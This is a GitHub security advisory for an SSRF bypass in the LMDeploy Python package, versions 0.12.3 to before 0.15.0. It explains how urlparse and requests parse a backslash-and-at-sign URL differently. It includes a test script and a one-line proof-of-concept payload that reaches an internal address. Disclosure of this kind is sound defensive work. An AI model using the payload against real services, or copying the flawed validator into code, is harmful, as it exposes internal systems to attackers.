GHSA-39wr-7q6h-cf68

Suggest an improvement
Source
https://github.com/advisories/GHSA-39wr-7q6h-cf68
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-39wr-7q6h-cf68/GHSA-39wr-7q6h-cf68.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-39wr-7q6h-cf68
Published
2026-09-18T17:14:06Z
Modified
2026-09-18T17:30:08Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CVSS Calculator
Summary
LMDeploy has an SSRF bypass
Details

Summary

The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.

Details

The current lmdeploy project uses _is_safe_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. QQ20260416-203956-16-1 However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using _is_safe_url for URL validation, and then using requests.Session().get to send the request. QQ20260416-204053-16-2 The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

  • urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)
  • requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the code.

from urllib.parse import urlparse
import ipaddress
import socket
import requests


def _is_safe_url(url: str) -> tuple[bool, str]:
    """Check if the URL is safe to fetch (not internal/private)."""
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ("http", "https"):
            return False, f"Unsupported scheme: {parsed.scheme}"

        hostname = parsed.hostname
        if not hostname:
            return False, "Could not parse hostname from URL"

        # check all IPs (IPv4 + IPv6) using getaddrinfo
        try:
            infos = socket.getaddrinfo(hostname, None)
        except socket.gaierror:
            return False, "Hostname resolution failed"

        for info in infos:
            ip = ipaddress.ip_address(info[4][0])
            # block any IP that is not globally routable (covers private, loopback,
            # link-local, multicast, reserved, unspecified, etc.)
            if not ip.is_global:
                return False, f"Blocked non-global IP detected: {ip}"

        return True, "URL is safe"
    except Exception as e:
        return False, f"URL validation failed: {str(e)}"


# url = "http://127.0.0.1:6666"
url = "http://127.0.0.1:6666\@1.1.1.1"
is_safe, reason = _is_safe_url(url)
if not is_safe:
    raise ValueError(f"URL is blocked for security reasons: {reason}")

fetch_timeout = 10

client = requests.Session()
client.max_redirects = 3
response = client.get(url, timeout=fetch_timeout, allow_redirects=True)

When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it. QQ20260416-204234-16-3 However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666/, bypassing the detection and achieving an SSRF attack.

QQ20260416-204319-16-4

PoC

http://127.0.0.1:6666\@1.1.1.1

Impact

SSRF

Database specific
{
    "cwe_ids": [
        "CWE-436",
        "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-18T17:14:06Z",
    "nvd_published_at": null,
    "severity": "HIGH"
}
References

Affected packages

PyPI / lmdeploy

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0.12.3
Fixed
0.15.0

Affected versions

0.*
0.12.3
0.13.0
0.14.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-39wr-7q6h-cf68/GHSA-39wr-7q6h-cf68.json"